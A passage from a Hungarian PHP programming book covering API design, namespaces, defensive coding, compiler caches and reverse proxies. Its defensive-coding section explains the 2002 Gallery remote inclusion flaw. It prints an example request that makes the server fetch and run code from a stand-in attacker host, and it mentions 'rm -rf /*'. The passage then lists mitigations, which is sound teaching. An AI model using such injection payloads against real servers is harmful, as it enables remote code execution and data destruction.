Egyszerű osztályok és függvények használata
Általában véve egy függvénynek vagy tagfüggvénynek egyetlen egyszerű feladatot célszerű végrehajtania. Ezeket az egyszerű függvényeket aztán más függvények felhasználhatják, így végezhetünk el összetettebb feladatokat. Ez az a megközelítés, amit a tömbszerű függvények írásával szemben előnyben kell részesítenünk, mert ez segíti az újrahasznosítást. Az adószámító példában megfigyelhettük, hogyan oszlott az eljárás két függvényre (Coinmerce_calculateTax () és az általa meghívott Commerce_calculateStateTax ()

8. fejezet • Hogyan tervezzünk jó APl-t?

225

segédfiiggvény). Ezzel a szétválasztással bármilyen környezetben képesek voltunk kiszámítani az adott államban érvényes forgalmi adót. Ha a teljes programlogika a Commerce_calculateTax () függvényen belül szerepelt volna, a kódot meg kellett volna kettőzni, ha a vásárlások adótartalmának kiszámítása mellett más környezetben is szerettük volna használni.

Névterek használata
A névterek használata minden nagy kódban létfontosságú. Sok más parancsnyelvtől (Perl, Python, Ruby stb.) eltérően a PHP-ben nincsenek igazi névterek, illetve formális csomagoló rendszer. Eme beépített eszközök hiánya még fontosabbá teszi, hogy fejlesztőként következetes névtérhasználati szabályokat alkalmazzunk. Vegyük a következő szörnyű kódot: $number = $_GET['number']; $valid = validate($number); if($valid) { // ----}

Ha a kódra pillantunk, nem tudjuk megállapítani, mit is csinál. Ha az itt megjegyzésbe tett blokkot megvizsgáljuk, alkothatunk némi fogalmat a program működéséről, de a kód több tekintetben is homályos marad: • Nem tudjuk, hol szerepel a függvények meghatározása. Ha nem az adott oldalon (márpedig a függvény-meghatározásokat célszerű külön fájlba tenni, hogy újrahasznosíthatok legyenek), akkor viszont honnan tudjuk, melyik könyvtárban határozták meg őket? • A változónevek borzasztóak. A $number semmivel nem utal a változó céljára, és a $valid sem sokkal jobb. íme ugyanaz a kód, jobb elnevezésekkel: $cc_number = $_GET['cc_number']; $cc_is_valid = CreditCard_IsValidCCNumber($cc_number); if ($cc_is_valid) { // ...
}

Ez más sokkal jobb, mint az előző. A $cc_number jelzi, hogy a szám egy hitelkártya száma (credit card, cc), a CreditCard_IsValidCCNumber () függvénynév pedig elárulja, hol található a függvény (például CreditCard. inc) és mit csinál (meghatározza, hogy a hitelkártyaszám érvényes-e).

226

PHP fejlesztés felsőfokon

A névterek használata a következő előnyökkel jár: • Arra bátorít, hogy a függvényeknek leíró jellegű neveket adjunk. • Lehetővé teszi, hogy a név alapján megtaláljuk a függvény fizikai helyét. • Segítségével elkerülhető a névütközés. Az azonosítás, illetve hitelesítés tárgya számos dolog lehet: a webhely látogatói vagy felügyelői, a hitelkártyák stb. Az olyan nevek, mint a Member_Authenticate (), az Admin_User_Authenticate () vagy a CreditCard_Authenticate () világossá teszik, mire gondolunk. Bár a PHP nem biztosít formális nyelvi rendszert a névterekhez, osztályok használatával utánozhatjuk azokat, mint az alábbi példában: class CreditCard { static public function IsValidCCNumber()
{

//
}

...

static public function Authenticate() { // - . . } }

Akár egyszerűen függvényeket, akár névtérutánzó osztályokat használunk, a névtereket mindig jól meghatározott módon kell társítanunk a fájlok helyéhez. Én az . inc végződés hozzáfűzését részesítem előnyben, amellyel az alábbihoz hasonló természetes fájlhierarchia alakítható ki:
API_ROOT/ CreditCard.inc DB/ Mysql.inc Oracle.inc

DB.inc

E felépítés szerint a DB_Mysql osztályok az API_ROOT/DB/Mysql. inc állományban találhatók.

Mély beágyazási fák

A moduláris kód és gyors kód közötti választásban fontos tényező lehet az a komoly különbség, ami az include fájlok kezelésében mutatkozik. A PHP teljes egészében futásidejű nyelv, ami azt jelenti, hogy a programok fordítása és végrehajtása is fordítási időben

8. fejezet • Hogyan tervezzünk jó API-t?

227

történik. Ha egy programba 50 fájlt ágyazunk be (közvetlenül vagy beágyazások láncán keresztül), akkor ezt az 50 fájlt minden kérelemnél meg kell nyitni, be kell olvasni, fel kell dolgozni, le kell fordítani és végre kell hajtani, ami jelentős költséget jelenthet. Még ha fordítói gyorstárat használunk is (ezzel kapcsolatban lásd a 9. fejezetet), a fájlokat akkor is el kell érnünk, hogy meggyőződhessünk róla, hogy nem változtak meg a másolat gyorstárba helyezése óta. Egy olyan környezetben, ahol másodpercenként oldalak százait vagy ezreit szolgáltatjuk, ez komoly gond lehet. A vélemények eltérnek abban a tekintetben, hogy legfeljebb hány fájlt célszerű beágyazni egy adott oldalon. Egyesek szerint három a megfelelő szám (bár erre semmilyen magyarázatot nem adtak), mások amellett kardoskodnak, hogy minden include-dal beemelt kódot be kell írnunk, mielőtt a fejlesztőkörnyezetből üzemi környezetbe helyeznénk a programot. Véleményem szerint mindkét megközelítés hibás. Természetesen nevetséges, ha egy oldalba állományok százait ágyazzuk be, de az a képesség, hogy a kódot fájlokba oszthatjuk szét, a kezelhetőség szempontjából igenis fontos. A nem kezelhető kód lényegében használhatatlan, az include beágyazások pedig általában nem jelentenek különösebben szűk keresztmetszetet. A kódnak először is kezelhetőnek és újrahasznosíthatónak kell lennie. Ha ez 10 vagy 20 beágyazott állományt jelent oldalanként, hát legyen. Ha a kódot gyorsabbá kell tennünk, készítsük el a profilját (a 18. fejezetben bemutatott eljárások használatával), és csak akkor nyirbáljuk meg a beágyazási fát, ha a profil azt mutatja, hogy az include () és a require () használata jelentősen csökkenti a teljesítményt.

A csatolás csökkentése Csatolás akkor jön létre, ha egy függvény, osztály vagy más kódegység helyes működése egy másik hasonló egységtől függ. A csatolás rossz, mert függőségek hálóját hozza létre olyan kódelemek között, amelyeknek önállóaknak kellene lenniük. Pillantsunk a 8.1 ábrára, ami a Serendipity webes naplórendszer függvényhívási gráfjának részletét mutatja. (A teljes fa túl bonyolult ahhoz, hogy itt bemutassuk.) Külön figyelmet érdemelnek azok a csomópontok, ahol számos szál fut össze. E függvények csatolása igen nagy, ezért szinte lehetetlen módosítani őket. Bármilyen változtatás az adott függvény felületében vagy viselkedésében valószínűleg az összes hívó módosítását igényelné. Ez nem feltétlenül rossz: minden rendszerben lennie kell alapfüggvényeknek és -osztályoknak, amelyek olyan stabil elemek, amelyekre a rendszer többi része épül. Csak tisztában kell lennünk vele: egy stabil kód nem feltétlenül szoros csatolású, de egy szoros csatolású kódnak stabilnak kell lennie. Ha olyan osztályaink vannak, amelyekről tudjuk, hogy alaposztályok (például elvont adatbázisrétegek vagy alapműködést leíró osztályok) lesznek, idejekorán szánjunk elegendő időt felületük megfelelő kidolgozására, mielőtt annyi kód hivatkozna rájuk, hogy az újratervezés lehetetlenné válik.

228

PHP fejlesztés felsőfokon

8.1 ábra A Serendipity webes naplórendszer függvényhívási gráfjának részlete.

Védekező kódolás
A védekező kódolás (defenzív kódolás) a feltételezések kiirtása a kódból, különösen ha más eljárásokból érkező vagy oda továbbított információk kezeléséről van szó. Az olyan alacsonyszintű nyelvekben, mint a C vagy a C++, a védekező kódolás másféle tevékenységet jelent. A C-ben a változók típuskényszerítését a fordító végzi; a felhasználói kódnak az erőforrások felszabadításával és a tártúlcsordulások elkerülésével kell foglalkoznia. A PHP magasszintű nyelv: az erőforrás-, memória- és átmenetitár-kezelést a PHP belsőleg intézi. A PHP emellett dinamikus típusokra épül, ami azt jelenti, hogy a fejlesztő felel minden szükséges típusellenőrzésért. (Hacsak nem objektumokat használunk, amikor élhetünk a típusjelzések eszközével.) A hatékony védekező kódolásnak a PHP-ben két alapvető feltétele van: • Kódolási szabványok felállítása a véletlen nyelvtani hibák elkerülésére. • Fertőtlenítési módszerek használata a rosszindulatú adatok kivédésére.

8. fejezet • Hogyan tervezzünk jó API-t?

229

Kódolási szabványok felállítása A védekező kódolás nem csak a támadások ellen véd. A legtöbb hiba hanyagságból és hamis feltételezésekből ered. A legkönnyebben úgy győződhetünk meg arról, hogy más fejlesztők helyesen használják kódunkat, hogy minden kódot szabványossá teszünk az argumentumok sorrendje és a visszatérési értékek tekintetében. Egyesek úgy érvelnek, hogy átfogó dokumentáció birtokában az argumentumsorrend nem számít. Nem értek egyet velük. Ha egy függvény minden használatba vételekor a kézikönyvhöz vagy saját dokumentációnkhoz kell fordulnunk, a fejlesztés lassú lesz, és gyakran hibázhatunk. A következetlen argumentumelnevezésre kitűnő példa a MySQL és PostgreSQL PHPügyfél API. íme a két könyvtár lekérdező függvényének prototípusa: resource mysql_query ( string query [, resource connection]) resource pg_query ( resource connection, string query) A különbség igen zavaró, bár világosan dokumentálták. A visszatérési értékeknek hasonlóan következetesnek és jól meghatározottnak kell lenniük. A logikai (Bool-féle) függvények esetében ez egyszerű: siker esetén true-t, hiba esetén f a 1 se-t kell visszaadnunk. Ha a hibakezelésre kivételeket használunk, hierarchiájuknak jól meghatározottnak kell lennie, amint arról a 3- fejezetben olvashattunk. Fertőtlenítés i eljárások használata A 2002 végén a PHP nyelven írt Gallery nevű fényképalbum-programban talált hiba széles körben ismertté vált. A Gallery a $GALLERY_BASEDIR nevű beállítási változót használta arra a célra, hogy a felhasználók megváltoztathassák a program alapértelmezett alapkönyvtárát. Alapállapotban azonban a változó nem volt beállítva; a kód valamennyi include () utasítása így festett: <? require($GALLERY_BASEDIR . "init.php"); ?>

Ez azt eredményezte, hogy ha a kiszolgálót a register_globals beállítást bekapcsolva futtatták (ami a korábbi PHP-változatok alapértelmezett viselkedése volt), egy támadó ilyen kérelmet adhatott ki: http://gallery.example.com/view_photo.php?\ GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F Ennek eredményeképp a require a következőre értékelődött ki: <? require("http://evil.attackers.com/evilscript.php?init.php"); ?>

230

PHP fejlesztés felsőfokon

Ezzel letöltődött és végrehajtódott az evil. attackers . com címről a megadott kód - mondanunk sem kell, milyen kellemetlen hatással. Mivel a PHP rendkívül sokoldalú nyelv, a támadók bármilyen helyi rendszerparancsot kiadhattak. Telepítettek hátsó ajtókat, kiadták az N rm -rf / * ; parancsot, letöltötték a jelszófájlt, és szinte minden elképzelhető rosszindulatú tevékenységet végeztek. Az ilyen támadást távoli parancsbeszúrás (remote command injection) néven ismerik, mivel a kiszolgálót olyan kód végrehajtásába csalogatja be, amelyet nem lenne szabad futtatnia. Az ellene való védekezéshez minden alkalmazásban számos biztonsági intézkedést kell tennünk: • Mindig kapcsoljuk ki a register_globals beállítást. Ez a beállítás ma már csak a visszirányú megfelelőséget szolgálja, és hatalmas biztonsági kockázatot jelent. • Hacsak nincs rá feltétlenül szükségünk, állítsuk of f-ra a php. ini fájl allow_url_f open beállítását. A Gallery hibáját azért használhatták ki, mert a PHP minden fájlkezelő függvényének (f open (), include (), require () stb.) tetszőleges URL-t adhatunk át, nem csak egyszerű fájlelérési utakat. Bár ez hasznos szolgáltatás, gondokat is okozhat. A Gallery fejlesztőinek biztosan nem állt szándékában, hogy a $GALLERY_BASEDIR távoli fájlokra is beállítható legyen; a kód írásakor ez meg sem fordult a fejükben. Michael Radwin a „One Year of PHP at Yahoo!" című beszédében azt javasolta, hogy soha ne hívjuk az f open () -t URL-lel, helyette használjuk a PHP-hez mellékelt curl bővítményt. Ezzel biztosak lehetünk benne, hogy ha távoli erőforrást nyitunk meg, akkor valóban ez volt a szándékunk. • Mindig érvényesítsük az adatokat. Bár a $GALLERY_BASEDIR változót egyáltalán nem arra tervezték, hogy parancssorból állítsák be, ha mégis megtörténik, ellenőriznünk kell, amit kaptunk. Rendben vannak a fájlrendszerelérési utak? Az adott fán kívüli állományokra próbálunk hivatkozni? A PHP részleges megoldást nyújt a problémára, a php. ini open_basedir beállításával. Az open_basedir beállítása megakadályozza, hogy olyan fájlt nyissunk meg, ami az adott könyvtáron kívül esik. Sajnos használata nincs jó hatással a teljesítményre, és a fejlesztőknek is megnehezíti, hogy összeegyeztethető kódot írjanak. A gyakorlatban a kiszolgálóhelyet biztosító környezetekben a leghasznosabb, ahol segít abban, hogy a felhasználók ne zavarják egymás köreit. Az adatfertőtlenítés lényeges része a biztonságnak. Ha tudjuk, hogy az adatokban nem szerepelhet HTML, a strip_tags segítségével az alábbi módon távolíthatjuk el a HTMLkódokat: // a felhasználónévben nem lehet HTML $username = strip_tags($_COOKIE['username']);

8. fejezet • Hogyan tervezzünk jó API-t?

231

Ha a felhasználó által megadott bemenetben megengedjük a HTML használatát, az olyan, mintha felszólítanánk a támadókat a helyközi (cross-site) támadásra. Az ilyen támadásokról részletesebben a 3- fejezetben olvashattunk. Ha fájlnevet kapunk, ugyanígy győződhetünk meg róla, hogy nem lépünk ki az aktuális könyvtárból: $filename = $_GET['filename']; if(substr($filename, 0, 1) == ' / ' // rossz fájl
}

II strstr( $ f ilename,

".."))

{

íme egy másik megoldás: $file_name = realpath($_GET['filename' ] ) ; $good_path = realpath( " . / " ) ; if(!strncmp($file_name, $good_path, strlen($good_path))) // rossz fájl
}

{

Az utóbbi ellenőrzés szigorúbb, de költségesebb is. Egy másik adatfertőtlenítési lépés, amit mindig el kell végeznünk, a használt RDBMS megfelelő függvényének vagy a mysql_escape_string () futtatása minden adaton, amit bármilyen SQL lekérdezés kap. A távoli parancsbeszúrási támadásokhoz hasonlóan ugyanis vannak SQL-beszúrási támadások is. A függvény automatizálásában egy olyan elvont réteg használata segíthet, mint a 2. fejezetben kidolgozott DB osztályoké. A 23. fejezetben részletesebben megmutatjuk, hogyan írhatunk C nyelvű bemeneti szűrőket, amelyekkel automatizálható a fertőtlenítő kód futtatása a kérelmekre érkező bemeneten. Az adatérvényesítés közeli rokona az adatfertőtlenítésnek. Lehet, hogy nem úgy használják függvényeinket, mint ahogy szerettük volna. Ha a bemenetet nem érvényesítjük, nem csak biztonsági lyukak keletkezhetnek a kódban, hanem az alkalmazás is helytelenül működhet, és adatszemét kerülhet adatbázisainkba. Az adatérvényesítéssel a 3- fejezetben foglalkoztunk.

További olvasmányok
Steve McConnell Code Complete című könyve kitűnő bevezető a gyakorlati szoftverfejlesztésbe; egyetlen programozó könyvtára sem lehet teljes nélküle. (Ne törődjünk a Microsoft Press címkével: a könyv nem kifejezetten Windows-programozással foglalkozik.) A The Pragmatic Programmer: From Journeyman to Master Dávid Thomas és Andrew Hunt tollából szintén olyan alapmű, amely nélkül egyetlen fejlesztő sem boldogulhat.

Gyorstárak

Teljesítményfokozás külső módszerekkel
Akármilyen finomhangolást is végezzünk, soha nem szabad szem elől tévesztenünk a végső célt. Lehet, hogy napi munkánk során arra kell összpontosítanunk, hogy egy adott működést vagy weboldalt gyorsabbá tegyünk, az alapvető feladat azonban mindig az, hogy maga az alkalmazás váljon gyorsabbá. Időnként előfordulhat, hogy egyszeri változtatásokkal az alkalmazás összességében vett teljesítményét is növelhetjük. A hatékony működés biztosítéka a körültekintő és megbízható tervezés, és a helyes programozási módszerek használata. Ezek semmivel sem válthatók ki. Mindennek tudatában számos módszer létezik arra, hogy a PHP-n kívül javítsuk alkalmazásunk teljesítményét. A kiszolgáló, illetve a nyelv szintjén végzett módosítások nem javítják ki a pongyola, illetve kevésbé hatékony kódolást, de azt biztosítják, hogy az alkalmazás a lehetőségekhez mérten a legjobb teljesítményt nyújtsa. Fejezetünkben gyors egymásutánban sorra veszünk néhány módszert és terméket, melyek segíthetnek alkalmazásunk teljesítményének növelésében. Mivel ezek mindegyike vagy mélyen a PHP belsejében rejtőzik, vagy valamilyen külső megoldást alkalmaz, e fejezetben nem találkozhatunk túl sok PHP kóddal. Mindez azonban ne tartson vissza a fejezet elolvasásától - a technológiák összjátékából sokszor jelentős hasznunk származhat.

Teljesítményfokozás a nyelv szintjén
Az ide tartozó módszerekben magát a PHP-t módosítjuk a teljesítmény növelésének érdekében. A programnyelv szerencsére nagyszerű API-vel rendelkezik a motor szintjén (ezt a 21. és a 23- fejezetekben tüzetesebben is megismerjük), ami lehetővé teszi, hogy olyan bővítményeket készítsünk, melyek közvetlenül befolyásolják, miként dolgozza fel és hajtja végre a motor a kódot. Következésképpen ezt a felületet használhatjuk arra, hogy felgyorsítsuk a PHP programok fordítását és végrehajtását.

236

PHP fejlesztés felsőfokon

Fordítói gyorstárak
Ha egyetlen kiszolgálómódosítással szeretnénk PHP alkalmazásunk teljesítményét növelni, egyértelműen a fordítói gyorstár telepítése mellett érdemes döntenünk. Ezzel ugyanis valóban nagy nyereségre tehetünk szert, ráadásul - ellentétben számos más módszerrel, melyek az alkalmazás méretének növekedésével egyre kisebb mértékű javulást hoznak a fordítói gyorstárak által nyújtott előnyök együtt nőnek a mérettel és az összetettséggel. De mi is az a fordítói gyorstár? És honnan származik az említett hihetetlen teljesítménynövekedés? Nos, ahhoz, hogy e kérdésekre választ kapjunk, meg kell vizsgálnunk, miként hajtja végre a Zend Engine a PHP programokat. Amikor a PHP-hez hívás érkezik egy program végrehajtására, az alábbi kétlépéses folyamat indul el: 1. A PHP beolvassa a fájlt, értelmezi, majd készít egy köztes kódot, ami végrehajtható a Zend Engine virtuális gépen. A köztes kód számítástechnikai kifejezés, a program forráskódjának azt a belső ábrázolását jelenti, ami a nyelvi fordítás során keletkezik. 2. A PHP végrehajtja a köztes kódot. Néhány dolgot meg kell jegyeznünk e folyamat kapcsán: • Számos programnál - különösen a sok beemelt részt tartalmazóknál - több időt vesz igénybe az értelmezés és a köztes kód elkészítése, mint ez utóbbi végrehajtása. • Jóllehet az első lépésben kapott eredmény nem sokat változik két végrehajtás között, a rendszer mégis újra a teljes folyamatot indítja el a program minden futtatásánál. • Ez a folyamat nemcsak akkor fut le, amikor a fő fájlt végrehajtjuk, hanem minden olyan esetben is, amikor a programot a require (), az include () vagy az eval () segítségével futtatjuk. Láthatjuk tehát, hogy az első lépésben a programokhoz, illetve a beemelt kódokhoz készített köztes kód átmeneti tárolásától jelentős nyereséget várhatunk a teljesítménynövekedés terén. A fordítói gyorstár pontosan ezt teszi. A 9.1. ábrán a program végrehajtásának folyamatát láthatjuk, fordítói gyorstár használata nélkül, míg a 9.2. ábra ugyanezt a folyamatot mutatja be, de itt már fordítói gyorstárat is alkalmazunk. Figyeljük meg, hogy a program vagy beemelt állomány első elérésénél fordul csak elő, hogy üres a tár - ezután a fordítási lépés teljesen kimarad. A PHP-hez három fontosabb fordítói gyorstár létezik: • Zend Accelerator - Kereskedelmi, zárt forrású, megvásárolható fordítói gyorstár a Zend Industriestől. • ionCube Accelerator - Kereskedelmi, zárt forrású, de ingyenes fordítói gyorstár, melyet Nick Lindridge írt, és cége, az ionCube terjeszt.

9. fejezet • Teljesítményfokozás külső módszerekkel

237

• APC - Ingyenes, nyílt forrású fordítói gyorstár, melyet Dániel Cowgill és jómagam írtunk. A 23- fejezetben, ahol a PHP és a Zend Engine bővítését tárgyaljuk, az APC működésének részleteivel is megismerkedhetünk. Az APC fordítói gyorstár a PEAR Extension Code Library (PECL) keretén belül érhető el. Telepítéséhez az alábbi parancsot kell kiadnunk: #pear install apc

9.1. ábra

Egy program végrehajtásának folyamatábrája a PHP-ben. A működéhez szükséges beállítások elvégzéséhez helyezzük el a következő sort a php. ini fájlban: extension = /path/to/apc.so Ezen felül semmiféle további beállításra nincs szükség. Ha legközelebb elindítjuk a PHP-t, az APC már aktív lesz, és elvégzi programjaink átmeneti tárolását az osztott memóriában.

238

PHP fejlesztés felsőfokon

Ne feledjük, hogy a fordítói gyorstár a program végrehajtásában az értelmezési szakasz felesleges ismétléseitől kímél meg, így használata olyan programoknál a leghatékonyabb, amelyek nagyobb mennyiségű kódot tartalmaznak. Próbaképpen lemértem a különbséget a Smartyhoz adott bemutató oldalon. Asztali gépemen 26 kérelmet fogadtam másodpercenként egy gyári PHP összeállítástól. Ha az APC-t is betöltöm, ez a szám 42-re kúszik fel, ami 6l%-os növekedést jelent — ami igen jelentősnek nevezhető, különösen annak fényében, hogy a kódhoz hozzá sem kellett nyúlni. A fordítói gyorstárak különösen hatékonyan alkalmazhatók olyan környezetekben, amelyek sok beemelt állományt használnak. Amikor a Community Connectnél dolgoztam (ekkor született az APC is), nem volt szokatlan jelenség, ha egy program (önhívással) 30-40 fájlt is beemelt az include-dal. Az ilyen fájlok szaporodása az alapkód nagymértékben moduláris felépítésének volt köszönhető, melynek során a hasonló függvényeket külön könyvtárakba rendezték. Ebben a környezetben az APC alkalmazása az alkalmazás teljesítményének több mint 100 %-os növekedését eredményezte.

9.2. ábra

Program végrehajtása fordítói gyorstárral.

9. fejezet • Teljesítményfokozás külső módszerekkel

239

Nyelvi optimalizálok
A nyelvi optimalizálok a program lefordítása után kapott köztes kódszerkezetét alakítják hatékonyabbá. A legtöbb nyelv rendelkezik optimalizáló fordítókkal, melyek az alábbiakhoz hasonló műveleteket végeznek: • Döglött kódok eltüntetése - Vagyis megszabadulás az elérhetetlen kódrészletektől, mint például az i f (0 ) { }. • Állandók átalakítása - Ha a program állandók egy csoportján végez műveleteket, ezeket már a fordítás alatt elvégezhetjük. Ezt megtehetjük például az alábbi sorban: $seconds_in_day = 2 4 *6 0 *6 0; E sort ugyanis átalakíthatjuk úgy, hogy a futás közben ne kelljen számítási műveleteket végezni: $seconds_in_day = 86400 ; Mindehhez a felhasználónak hozzá sem kell nyúlnia a kódhoz. • Helyi optimalizálás - Léteznek olyan helyi optimalizálási lehetőségek, melyekkel növelhetjük a program teljesítményét (például, ha a $count++ helyett + + $count-ot írunk, ha a visszatérési érték üres környezetbe kerül). A $count + + esetében a növelés azután történik meg, hogy a program kiértékelte az összes olyan kifejezést, melyben a $count szerepel. így például a $i = $count++; esetében az $i a $count értékét kapja meg, még mielőtt a program növelné. A végrehajtás szempontjából ez azt jelenti, hogy a motornak tárolnia kell a $count értékét, hiszen ezt kell alkalmaznia az olyan kifejezésekben, ahol ez a változó szerepel. Ezzel szemben a ++$count még azelőtt növeli a $count változó értékét, mielőtt az ezt tartalmazó kifejezéseket kiértékelné, így semmilyen ideiglenes értéket nem kell tárolni (és így kevesebb erőforrást kell felhasználni). Ha a $count + + alakot alkalmazzuk, de az eredményt nem használjuk fel azonnal egy kifejezésben (vagyis üres környezetbe kerül), nyugodtan átalakítható előzetes növelésű alakra. Az optimalizáló fordítók a fentiek mellett más műveleteket is végezhetnek. A PHP nem rendelkezik beépített kódoptimalizálóval, de lehetőségünk van arra, hogy ezt a feladatot bővítményekkel végezzük el: • A Zend Optimizer zárt forrású, de ingyenesen elérhető optimalizáló program. • Az ionCube Accelerator tartalmaz egy beépített optimalizálót. • Létezik egy jól bevált optimalizáló a PEAR-ben is. A kódoptimalizáló használatának előnyeit akkor élvezhetjük igazán, ha a kódot egyszer fordítjuk le és optimalizáljuk, majd ezután sokszor futtatjuk. így tehát a PHP-ben az optimalizálok használata gyakorlatilag értelmetlen fordítói gyorstárak alkalmazása nélkül. Ha együtt használjuk őket, az optimalizáló kicsi, de érzékelhető teljesítménynövekedést eredményez a fordítói gyorstár önálló alkalmazásához képest.

240

PHP fejlesztés felsőfokon

HTTP gyorsítók
Az alkalmazások teljesítményét számos tényező befolyásolja. Első ránézésre a teljesítményt az alábbiak korlátozhatják: • az adatbázis teljesítménye, • a CPU teljesítménye, ami számítás-, illetve műveletigényes alkalmazásoknál jelentős, • a lemez teljesítménye, amennyiben jelentős mennyiségű bemeneti-kimeneti műveletre van szükség, • a hálózat teljesítménye olyan alkalmazások esetében, amelyek jelentős hálózati adatátvitelre szorulnak. A következő fejezetekben azt vizsgáljuk meg, miként hangolhatjuk úgy alkalmazásainkat, hogy a lehető legkisebbre csökkentsük e korlátozások hatásait. Mielőtt azonban továbbhaladnánk, meg kell vizsgálnunk egy olyan tényezőt is, amiről gyakran elfeledkezünk - a hálózati késleltetést. Ha egy ügyfél kérelmet intéz webhelyünkhöz, az adatcsomagoknak fizikailag is el kell jutniuk az Interneten keresztül az ügyféltől a kiszolgálóig, és vissza. Emellett az operációs rendszerben is létezik egy korlát arra nézve, hogy egyidőben mennyi adat küldhető át egy TCP csatolón. Ha az adatmennyiség meghaladja ezt a korlátot, az alkalmazás meggátolja az adatátvitelt, vagy egyszerűen addig vár, míg a távoli rendszer vissza nem igazolja az adatok fogadását. így tehát a kérelem feldolgozásán túl a webkiszolgáló a lassú hálózati kapcsolat miatt is várakozásra kényszerülhet. A 9-3. ábra a hálózat szintjén végrehajtott műveleteket mutatja be egyetlen kérelem feldolgozása esetén, a végrehajtáshoz szükséges időtartamokkal együtt. Mialatt a hálózati csomagok küldése és fogadása zajlik, a PHP alkalmazás üresjáratban vesztegel. Figyeljük meg, hogy a 9.3- ábrán 200 ms olyan időt számolhatunk össze, amikor a PHP kiszolgálónak elvileg az adatokkal kellene foglalkoznia, ehelyett azonban arra vár, hogy a hálózati adatátvitel befejeződjön. Ez a hálózati időkiesés számos alkalmazásnál jelentősen nagyobb, mint a programok futtatására fordított idő. Nos, ez nem feltétlenül tűnik komoly adattorlódási lehetőségnek, de könnyen azzá válhat. A gondot az okozza, hogy egy üresjáratban működő webkiszolgáló is felhasznál bizonyos erőforrásokat - memóriát, állandó adatbázis-kapcsolatokat és egy helyet a folyamatok táblájában. Ha tehát sikerül kiküszöbölnünk a hálózati késleltetést, ezzel egyúttal lerövidíthetjük azt az időt, amit a PHP felesleges munka végzésével tölt - így persze egyúttal növelhetjük az alkalmazás hatékonyságát.

9. fejezet • Teljesítményfokozás külső módszerekkel

241

9.3. ábra

Hálózati adatátvitel egy átlagos kérelem esetén.

Hálózati kapcsolatok blokkolása

Ha azt állítjuk, hogy az alkalmazásnak blokkolnia kell a hálózati kapcsolatokat, nem mondunk teljesen igazat. Készíthetünk ugyanis olyan módon is hálózati csatolókat, hogy a blokkolás helyett a vezérlés visszakerül az alkalmazáshoz. Számos nagyteljesítményű webkiszolgáló - mint a thttpd vagy a Tux - ezt a megközelítést alkalmazza. Mindemellett azonban nem ismerek olyan PHP kiszolgáló API-t (SAPI-t, vagyis olyan alkalmazásokat, amelyek beépített PHP-t tartalmaznak), amelyek lehetővé tennék, hogy egyetlen PHP példány egyszerre több kérelmet is kiszolgáljon. Ezért hát, legyenek bármilyen gyorsak ezek a kiszolgálók, még nem blokkoló hálózati kapcsolat mellett is olyan PHP folyamatokra van szükségük, amelyek egy kérelemhez rendeltek annak teljes élettartama alatt.

242

PHP fejlesztés felsőfokon

Fordított helyettesek
Sajnálatos módon az Interneten tapasztalható hálózati késleltetés kiküszöbölése meghaladja a lehetőségeinket. (Bárcsak módunkban állna elbánni vele!) Valamit azonban mégis csak tehetünk - alkalmazhatunk egy újabb kiszolgálót a végfelhasználó és a PHP alkalmazás között. Ez fogadja az ügyfelek kérelmeit, továbbítja őket a PHP alkalmazás felé, várakozik a válaszra, majd azt visszaküldi a távoli felhasználónak. Ezt a helyettes kiszolgálót (köztes kiszolgálót, „proxyt") fordított helyettesnek (reverse proxy) vagy Hl 1F gyorsítónak nevezik. Használata az alábbi feltételek mellett kifizetődő: • A helyettes kiszolgáló kisméretű kell legyen. Kérelmenként jóval kevesebb erőforrást használhat fel, mint maga a PHP alkalmazás. • A helyettes kiszolgáló és a PHP alkalmazás egyazon helyi hálózaton kell legyen. Következésképpen a kettejük közti kapcsolat késleltetése igen rövid lesz. A 9.4. ábrán egy jellemző fordítotthelyettes-összeállítást láthatunk. Figyeljük meg, hogy a távoli ügyfelek nagy késleltetésű kapcsolatok végén találhatók, míg a helyettes kiszolgáló és a webkiszolgáló egyazon nagysebességű hálózaton helyezkedik el. Vegyük észre azt is, hogy a helyettes kiszolgáló sokkal több ügyféllel tart fenn kapcsolatot, mint webkiszolgálóval. Ennek az az oka, hogy az alacsony késleltetési idejű kapcsolat a helyettes és a webkiszolgáló között lehetővé teszi, hogy az utóbbi egyszerűen „elküldje és elfelejtse" a tartalmát, nem kell vesztegetnie idejét a hálózati késleltetés miatti várakozásra. Ha Apache kiszolgálót használunk, számos kitűnő fordított helyettes közül választhatunk, köztük az alábbiakból: • mod_proxy - „Szabványos" modul, melyet megkapunk az Apache kiszolgálóval. • mod_accel - Külső gyártó által készített modul, ami meglehetősen hasonlít a mod_proxy-hoz (az igazat megvallva számos részlete az előbbi átiratának tűnik), emellett azonban tartalmaz kifejezetten a fordított helyettesekre jellemző lehetőségeket is. • mod_backhand - Külső gyártó által készített terheléskiegyenlítő modul az Apache kiszolgálóhoz, ami fordított helyettesi lehetőségeket is megvalósít. • Squid - Külső tároló helyettes démon, amely nagyteljesítményű előre irányuló (forward) és fordított (reverse) helyettes kiszolgálást tesz lehetővé.

9. fejezet • Teljesítményfokozás külső módszerekkel

243

9.4. ábra

Egy jellemző fordítotthelyettes-összeállítás. A fenti megoldások lehetővé teszik, hogy a helyettes példánya egy kijelölt gépen legyen, vagy egyszerűen egy második kiszolgálópéldányként ugyanazon a gépen fusson. Nézzük most meg, hogyan valósíthatjuk meg ez utóbbi esetet a mod_proxy segítségével. Ennek legegyszerűbb módja, ha két Apache példányt fordítunk, az egyiket a mod_proxy-val (az /opt/apache_proxy könyvtárba telepítve), a másikat a PHP-vel (az /opt/apache_php könyvtárba telepítve). Egy jól ismert fogást alkalmazunk annak érdekében, hogy minden gépen ugyanaz az Apache beállítás legyen érvényes: Apache beállítási fájlunkban az externalether gépnevet használjuk. Ezután megfeleltetjük ezt a nevet nyilvános (külső) Ethernet felületünknek az /etc/hosts könyvtárban. Hasonlóan, Apache beállítási fájlunkban a localhost gépnevet használjuk a 127.0.0.1 visszacsatolási cím megjelenítésére. Az Apache beállítások teljes körű megjelenítése túlzottan sok helyet venne igénybe, így csak a httpd. conf állomány apró részletét mutatjuk be a legfontosabb beállításokkal, némi képet adva a környezetükről is.

244

PHP fejlesztés felsőfokon

